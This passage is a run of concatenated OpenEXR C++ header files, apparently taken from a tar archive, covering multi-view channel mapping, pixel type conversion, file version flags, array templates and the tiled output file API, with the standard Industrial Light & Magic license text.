1: extract individual layers and parts // for each layer, enumerate which views are active std::map< std::string , std::set< std::string > > viewsInLayers; for(T i=begin;i!=end;i++) { viewsInLayers[i->getLayer()].insert(i->view); } // step 2: assign a part number to each layer/view std::map< std::pair<std::string,std::string> , int > layerToPart; int partCount=0; for(std::map< std::string , std::set< std::string > >::const_iterator layer=viewsInLayers.begin(); layer!=viewsInLayers.end();layer++) { // if this layer has a heroView, insert that first bool layer_has_hero = layer->second.find(heroView)!=layer->second.end(); if( layer_has_hero ) { layerToPart[ std::make_pair(layer->first,heroView) ] = partCount++; } // insert other layers which aren't the hero view for(std::set< std::string >::const_iterator view=layer->second.begin(); view!=layer->second.end();view++) { if(*view!=heroView) { layerToPart[ std::make_pair(layer->first,*view) ] = partCount++; } } } // step 3: update part number of each provided channel for( T i=begin;i!=end;i++) { i->internal_name=i->name; i->part_number = layerToPart[ std::make_pair(i->getLayer(),i->view) ]; } // return number of parts created return partCount; } } // // populate the chans vector<MultiViewChannelName> with a list of channels in the file // and their corresponding part number // template<class T> void GetChannelsInMultiPartFile(const MultiPartInputFile & file,T & chans) { bool has_multiview=false; StringVector mview; if(file.parts()==1) { if(hasMultiView(file.header(0))) { mview=multiView(file.header(0)); has_multiview=true; } } for(int p=0;p<file.parts();p++) { const ChannelList & c=file.header(p).channels(); std::string view=""; if(file.header(p).hasView()) { view=file.header(p).view(); } for(ChannelList::ConstIterator i=c.begin();i!=c.end();i++) { MultiViewChannelName m; m.name=std::string(i.name()); m.internal_name=m.name; if(has_multiview) { m.view=viewFromChannelName(m.name,mview); m.name=removeViewName(m.internal_name,m.view); }else{ m.view=view; } m.part_number=p; chans.push_back(m); } } } OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfConvert.h 0000644 00000006616 15246445047 0010275 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_CONVERT_H #define INCLUDED_IMF_CONVERT_H //----------------------------------------------------------------------------- // // Routines for converting between pixel data types, // with well-defined behavior for exceptional cases, // without depending on how hardware and operating // system handle integer overflows and floating-point // exceptions. // //----------------------------------------------------------------------------- #include "half.h" #include "ImfExport.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER //--------------------------------------------------------- // Conversion from half or float to unsigned int: // // input result // --------------------------------------------------- // // finite, >= 0 input, cast to unsigned int // (rounds towards zero) // // finite, < 0 0 // // NaN 0 // // +infinity UINT_MAX // // -infinity 0 // //--------------------------------------------------------- IMF_EXPORT unsigned int halfToUint (half h); IMF_EXPORT unsigned int floatToUint (float f); //--------------------------------------------------------- // Conversion from unsigned int or float to half: // // input result // --------------------------------------------------- // // finite, closest possible half // magnitude <= HALF_MAX // // finite, > HALF_MAX +infinity // // finite, < -HALF_MAX -infinity // // NaN NaN // // +infinity +infinity // // -infinity -infinity // //--------------------------------------------------------- IMF_EXPORT half uintToHalf (unsigned int ui); IMF_EXPORT half floatToHalf (float f); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfGenericOutputFile.h 0000644 00000004705 15246445047 0012247 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFGENERICOUTPUTFILE_H_ #define IMFGENERICOUTPUTFILE_H_ #include "ImfVersion.h" #include "ImfIO.h" #include "ImfXdr.h" #include "ImfHeader.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER class IMF_EXPORT GenericOutputFile { public: virtual ~GenericOutputFile() {} protected: GenericOutputFile() {} void writeMagicNumberAndVersionField (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream& os, const Header& header); void writeMagicNumberAndVersionField (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream& os, const Header * headers, int parts); }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* GENERICOUTPUTFILE_H_ */ OpenEXR/ImfStringAttribute.h 0000644 00000005123 15246445047 0011777 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_STRING_ATTRIBUTE_H #define INCLUDED_IMF_STRING_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class StringAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include <string> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<std::string> StringAttribute; template <> IMF_EXPORT const char *StringAttribute::staticTypeName (); template <> IMF_EXPORT void StringAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void StringAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfVersion.h 0000644 00000011223 15246445047 0010270 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_VERSION_H #define INCLUDED_IMF_VERSION_H //----------------------------------------------------------------------------- // // Magic and version number. // //----------------------------------------------------------------------------- #include "ImfExport.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER // // The MAGIC number is stored in the first four bytes of every // OpenEXR image file. This can be used to quickly test whether // a given file is an OpenEXR image file (see isImfMagic(), below). // const int MAGIC = 20000630; // // The second item in each OpenEXR image file, right after the // magic number, is a four-byte file version identifier. Depending // on a file's version identifier, a file reader can enable various // backwards-compatibility switches, or it can quickly reject files // that it cannot read. // // The version identifier is split into an 8-bit version number, // and a 24-bit flags field. // const int VERSION_NUMBER_FIELD = 0x000000ff; const int VERSION_FLAGS_FIELD = 0xffffff00; // // Value that goes into VERSION_NUMBER_FIELD. // const int EXR_VERSION = 2; // // Flags that can go into VERSION_FLAGS_FIELD. // Flags can only occupy the 1 bits in VERSION_FLAGS_FIELD. // const int TILED_FLAG = 0x00000200; // File is tiled const int LONG_NAMES_FLAG = 0x00000400; // File contains long // attribute or channel // names const int NON_IMAGE_FLAG = 0x00000800; // File has at least one part // which is not a regular // scanline image or regular tiled image // (that is, it is a deep format) const int MULTI_PART_FILE_FLAG = 0x00001000; // File has multiple parts // // Bitwise OR of all known flags. // const int ALL_FLAGS = TILED_FLAG | LONG_NAMES_FLAG | NON_IMAGE_FLAG | MULTI_PART_FILE_FLAG; // // Utility functions // inline bool isTiled (int version) {return !!(version & TILED_FLAG);} inline bool isMultiPart (int version) {return version & MULTI_PART_FILE_FLAG; } inline bool isNonImage(int version) {return version & NON_IMAGE_FLAG; } inline int makeTiled (int version) {return version | TILED_FLAG;} inline int makeNotTiled (int version) {return version & ~TILED_FLAG;} inline int getVersion (int version) {return version & VERSION_NUMBER_FIELD;} inline int getFlags (int version) {return version & VERSION_FLAGS_FIELD;} inline bool supportsFlags (int flags) {return !(flags & ~ALL_FLAGS);} // // Given the first four bytes of a file, returns true if the // file is probably an OpenEXR image file, false if not. // IMF_EXPORT bool isImfMagic (const char bytes[4]); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfArray.h 0000644 00000015446 15246445047 0007734 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_ARRAY_H #define INCLUDED_IMF_ARRAY_H #include "ImfForward.h" //------------------------------------------------------------------------- // // class Array // class Array2D // // "Arrays of T" whose sizes are not known at compile time. // When an array goes out of scope, its elements are automatically // deleted. // // Usage example: // // struct C // { // C () {std::cout << "C::C (" << this << ")\n";}; // virtual ~C () {std::cout << "C::~C (" << this << ")\n";}; // }; // // int // main () // { // Array <C> a(3); // // C &b = a[1]; // const C &c = a[1]; // C *d = a + 2; // const C *e = a; // // return 0; // } // //------------------------------------------------------------------------- OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> class Array { public: //----------------------------- // Constructors and destructors //----------------------------- Array () {_data = 0; _size = 0;} Array (long size) {_data = new T[size]; _size = size;} ~Array () {delete [] _data;} //----------------------------- // Access to the array elements //----------------------------- operator T * () {return _data;} operator const T * () const {return _data;} //------------------------------------------------------ // Resize and clear the array (the contents of the array // are not preserved across the resize operation). // // resizeEraseUnsafe() is more memory efficient than // resizeErase() because it deletes the old memory block // before allocating a new one, but if allocating the // new block throws an exception, resizeEraseUnsafe() // leaves the array in an unusable state. // //------------------------------------------------------ void resizeErase (long size); void resizeEraseUnsafe (long size); //------------------------------- // Return the size of this array. //------------------------------- long size() const {return _size;} private: Array (const Array &); // Copying and assignment Array & operator = (const Array &); // are not implemented long _size; T * _data; }; template <class T> class Array2D { public: //----------------------------- // Constructors and destructors //----------------------------- Array2D (); // empty array, 0 by 0 elements Array2D (long sizeX, long sizeY); // sizeX by sizeY elements ~Array2D (); //----------------------------- // Access to the array elements //----------------------------- T * operator [] (long x); const T * operator [] (long x) const; //------------------------------------------------------ // Resize and clear the array (the contents of the array // are not preserved across the resize operation). // // resizeEraseUnsafe() is more memory efficient than // resizeErase() because it deletes the old memory block // before allocating a new one, but if allocating the // new block throws an exception, resizeEraseUnsafe() // leaves the array in an unusable state. // //------------------------------------------------------ void resizeErase (long sizeX, long sizeY); void resizeEraseUnsafe (long sizeX, long sizeY); //------------------------------- // Return the size of this array. //------------------------------- long height() const {return _sizeX;} long width() const {return _sizeY;} private: Array2D (const Array2D &); // Copying and assignment Array2D & operator = (const Array2D &); // are not implemented long _sizeX; long _sizeY; T * _data; }; //--------------- // Implementation //--------------- template <class T> inline void Array<T>::resizeErase (long size) { T *tmp = new T[size]; delete [] _data; _size = size; _data = tmp; } template <class T> inline void Array<T>::resizeEraseUnsafe (long size) { delete [] _data; _data = 0; _size = 0; _data = new T[size]; _size = size; } template <class T> inline Array2D<T>::Array2D (): _sizeX(0), _sizeY (0), _data (0) { // emtpy } template <class T> inline Array2D<T>::Array2D (long sizeX, long sizeY): _sizeX (sizeX), _sizeY (sizeY), _data (new T[sizeX * sizeY]) { // emtpy } template <class T> inline Array2D<T>::~Array2D () { delete [] _data; } template <class T> inline T * Array2D<T>::operator [] (long x) { return _data + x * _sizeY; } template <class T> inline const T * Array2D<T>::operator [] (long x) const { return _data + x * _sizeY; } template <class T> inline void Array2D<T>::resizeErase (long sizeX, long sizeY) { T *tmp = new T[sizeX * sizeY]; delete [] _data; _sizeX = sizeX; _sizeY = sizeY; _data = tmp; } template <class T> inline void Array2D<T>::resizeEraseUnsafe (long sizeX, long sizeY) { delete [] _data; _data = 0; _sizeX = 0; _sizeY = 0; _data = new T[sizeX * sizeY]; _sizeX = sizeX; _sizeY = sizeY; } OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfTiledOutputFile.h 0000644 00000043522 15246445047 0011734 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_TILED_OUTPUT_FILE_H #define INCLUDED_IMF_TILED_OUTPUT_FILE_H //----------------------------------------------------------------------------- // // class TiledOutputFile // //----------------------------------------------------------------------------- #include "ImfHeader.h" #include "ImfFrameBuffer.h" #include "ImathBox.h" #include "ImfTileDescription.h" #include "ImfThreading.h" #include "ImfGenericOutputFile.h" #include "ImfForward.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER struct PreviewRgba; class IMF_EXPORT TiledOutputFile : public GenericOutputFile { public: //------------------------------------------------------------------- // A constructor that opens the file with the specified name, and // writes the file header. The file header is also copied into the // TiledOutputFile object, and can later be accessed via the header() // method. // // Destroying TiledOutputFile constructed with this constructor // automatically closes the corresponding files. // // The header must contain a TileDescriptionAttribute called "tiles". // // The x and y subsampling factors for all image channels must be 1; // subsampling is not supported. // // Tiles can be written to the file in arbitrary order. The line // order attribute can be used to cause the tiles to be sorted in // the file. When the file is read later, reading the tiles in the // same order as they are in the file tends to be significantly // faster than reading the tiles in random order (see writeTile, // below). //------------------------------------------------------------------- TiledOutputFile (const char fileName[], const Header &header, int numThreads = globalThreadCount ()); // ---------------------------------------------------------------- // A constructor that attaches the new TiledOutputFile object to // a file that has already been opened. Destroying TiledOutputFile // objects constructed with this constructor does not automatically // close the corresponding files. // ---------------------------------------------------------------- TiledOutputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, const Header &header, int numThreads = globalThreadCount ()); //----------------------------------------------------- // Destructor // // Destroying a TiledOutputFile object before all tiles // have been written results in an incomplete file. //----------------------------------------------------- virtual ~TiledOutputFile (); //------------------------ // Access to the file name //------------------------ const char * fileName () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; //------------------------------------------------------- // Set the current frame buffer -- copies the FrameBuffer // object into the TiledOutputFile object. // // The current frame buffer is the source of the pixel // data written to the file. The current frame buffer // must be set at least once before writeTile() is // called. The current frame buffer can be changed // after each call to writeTile(). //------------------------------------------------------- void setFrameBuffer (const FrameBuffer &frameBuffer); //----------------------------------- // Access to the current frame buffer //----------------------------------- const FrameBuffer & frameBuffer () const; //------------------- // Utility functions: //------------------- //--------------------------------------------------------- // Multiresolution mode and tile size: // The following functions return the xSize, ySize and mode // fields of the file header's TileDescriptionAttribute. //--------------------------------------------------------- unsigned int tileXSize () const; unsigned int tileYSize () const; LevelMode levelMode () const; LevelRoundingMode levelRoundingMode () const; //-------------------------------------------------------------------- // Number of levels: // // numXLevels() returns the file's number of levels in x direction. // // if levelMode() == ONE_LEVEL: // return value is: 1 // // if levelMode() == MIPMAP_LEVELS: // return value is: rfunc (log (max (w, h)) / log (2)) + 1 // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (w) / log (2)) + 1 // // where // w is the width of the image's data window, max.x - min.x + 1, // y is the height of the image's data window, max.y - min.y + 1, // and rfunc(x) is either floor(x), or ceil(x), depending on // whether levelRoundingMode() returns ROUND_DOWN or ROUND_UP. // // numYLevels() returns the file's number of levels in y direction. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // return value is: rfunc (log (h) / log (2)) + 1 // // // numLevels() is a convenience function for use with MIPMAP_LEVELS // files. // // if levelMode() == ONE_LEVEL or levelMode() == MIPMAP_LEVELS: // return value is the same as for numXLevels() // // if levelMode() == RIPMAP_LEVELS: // an IEX_NAMESPACE::LogicExc exception is thrown // // isValidLevel(lx, ly) returns true if the file contains // a level with level number (lx, ly), false if not. // //-------------------------------------------------------------------- int numLevels () const; int numXLevels () const; int numYLevels () const; bool isValidLevel (int lx, int ly) const; //--------------------------------------------------------- // Dimensions of a level: // // levelWidth(lx) returns the width of a level with level // number (lx, *), where * is any number. // // return value is: // max (1, rfunc (w / pow (2, lx))) // // // levelHeight(ly) returns the height of a level with level // number (*, ly), where * is any number. // // return value is: // max (1, rfunc (h / pow (2, ly))) // //--------------------------------------------------------- int levelWidth (int lx) const; int levelHeight (int ly) const; //---------------------------------------------------------- // Number of tiles: // // numXTiles(lx) returns the number of tiles in x direction // that cover a level with level number (lx, *), where * is // any number. // // return value is: // (levelWidth(lx) + tileXSize() - 1) / tileXSize() // // // numYTiles(ly) returns the number of tiles in y direction // that cover a level with level number (*, ly), where * is // any number. // // return value is: // (levelHeight(ly) + tileXSize() - 1) / tileXSize() // //---------------------------------------------------------- int numXTiles (int lx = 0) const; int numYTiles (int ly = 0) const; //--------------------------------------------------------- // Level pixel ranges: // // dataWindowForLevel(lx, ly) returns a 2-dimensional // region of valid pixel coordinates for a level with // level number (lx, ly) // // return value is a Box2i with min value: // (dataWindow.min.x, dataWindow.min.y) // // and max value: // (dataWindow.min.x + levelWidth(lx) - 1, // dataWindow.min.y + levelHeight(ly) - 1) // // dataWindowForLevel(level) is a convenience function used // for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForLevel(level, level). // //--------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForLevel (int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int lx, int ly) const; //------------------------------------------------------------------- // Tile pixel ranges: // // dataWindowForTile(dx, dy, lx, ly) returns a 2-dimensional // region of valid pixel coordinates for a tile with tile coordinates // (dx,dy) and level number (lx, ly). // // return value is a Box2i with min value: // (dataWindow.min.x + dx * tileXSize(), // dataWindow.min.y + dy * tileYSize()) // // and max value: // (dataWindow.min.x + (dx + 1) * tileXSize() - 1, // dataWindow.min.y + (dy + 1) * tileYSize() - 1) // // dataWindowForTile(dx, dy, level) is a convenience function // used for ONE_LEVEL and MIPMAP_LEVELS files. It returns // dataWindowForTile(dx, dy, level, level). // //------------------------------------------------------------------- IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int lx, int ly) const; //------------------------------------------------------------------ // Write pixel data: // // writeTile(dx, dy, lx, ly) writes the tile with tile // coordinates (dx, dy), and level number (lx, ly) to // the file. // // dx must lie in the interval [0, numXTiles(lx) - 1] // dy must lie in the interval [0, numYTiles(ly) - 1] // // lx must lie in the interval [0, numXLevels() - 1] // ly must lie in the inverval [0, numYLevels() - 1] // // writeTile(dx, dy, level) is a convenience function // used for ONE_LEVEL and MIPMAP_LEVEL files. It calls // writeTile(dx, dy, level, level). // // The two writeTiles(dx1, dx2, dy1, dy2, ...) functions allow // writing multiple tiles at once. If multi-threading is used // multiple tiles are written concurrently. The tile coordinates, // dx1, dx2 and dy1, dy2, specify inclusive ranges of tile // coordinates. It is valid for dx1 < dx2 or dy1 < dy2; the // tiles are always written in the order specified by the line // order attribute. Hence, it is not possible to specify an // "invalid" or empty tile range. // // Pixels that are outside the pixel coordinate range for the tile's // level, are never accessed by writeTile(). // // Each tile in the file must be written exactly once. // // The file's line order attribute determines the order of the tiles // in the file: // // INCREASING_Y In the file, the tiles for each level are stored // in a contiguous block. The levels are ordered // like this: // // (0, 0) (1, 0) ... (nx-1, 0) // (0, 1) (1, 1) ... (nx-1, 1) // ... // (0,ny-1) (1,ny-1) ... (nx-1,ny-1) // // where nx = numXLevels(), and ny = numYLevels(). // In an individual level, (lx, ly), the tiles // are stored in the following order: // // (0, 0) (1, 0) ... (tx-1, 0) // (0, 1) (1, 1) ... (tx-1, 1) // ... // (0,ty-1) (1,ty-1) ... (tx-1,ty-1) // // where tx = numXTiles(lx), // and ty = numYTiles(ly). // // DECREASING_Y As for INCREASING_Y, the tiles for each level // are stored in a contiguous block. The levels // are ordered the same way as for INCREASING_Y, // but within an individual level, the tiles // are stored in this order: // // (0,ty-1) (1,ty-1) ... (tx-1,ty-1) // ... // (0, 1) (1, 1) ... (tx-1, 1) // (0, 0) (1, 0) ... (tx-1, 0) // // // RANDOM_Y The order of the calls to writeTile() determines // the order of the tiles in the file. // //------------------------------------------------------------------ void writeTile (int dx, int dy, int l = 0); void writeTile (int dx, int dy, int lx, int ly); void writeTiles (int dx1, int dx2, int dy1, int dy2, int lx, int ly); void writeTiles (int dx1, int dx2, int dy1, int dy2, int l = 0); //------------------------------------------------------------------ // Shortcut to copy all pixels from a TiledInputFile into this file, // without uncompressing and then recompressing the pixel data. // This file's header must be compatible with the TiledInputFile's // header: The two header's "dataWindow", "compression", // "lineOrder", "channels", and "tiles" attributes must be the same. //------------------------------------------------------------------ void copyPixels (TiledInputFile &in); void copyPixels (TiledInputPart &in); //------------------------------------------------------------------ // Shortcut to copy all pixels from an InputFile into this file, // without uncompressing and then recompressing the pixel data. // This file's header must be compatible with the InputFile's // header: The two header's "dataWindow", "compression", // "lineOrder", "channels", and "tiles" attributes must be the same. // // To use this function, the InputFile must be tiled. //------------------------------------------------------------------ void copyPixels (InputFile &in); void copyPixels (InputPart &in); //-------------------------------------------------------------- // Updating the preview image: // // updatePreviewImage() supplies a new set of pixels for the // preview image attribute in the file's header. If the header // does not contain a preview image, updatePreviewImage() throws // an IEX_NAMESPACE::LogicExc. // // Note: updatePreviewImage() is necessary because images are // often stored in a file incrementally, a few tiles at a time, // while the image is being generated. Since the preview image // is an attribute in the file's header, it gets stored in the // file as soon as the file is opened, but we may not know what // the preview image should look like until we have written the // last tile of the main image. // //-------------------------------------------------------------- void updatePreviewImage (const PreviewRgba newPixels[]); //------------------------------------------------------------- // Break a tile -- for testing and debugging only: // // 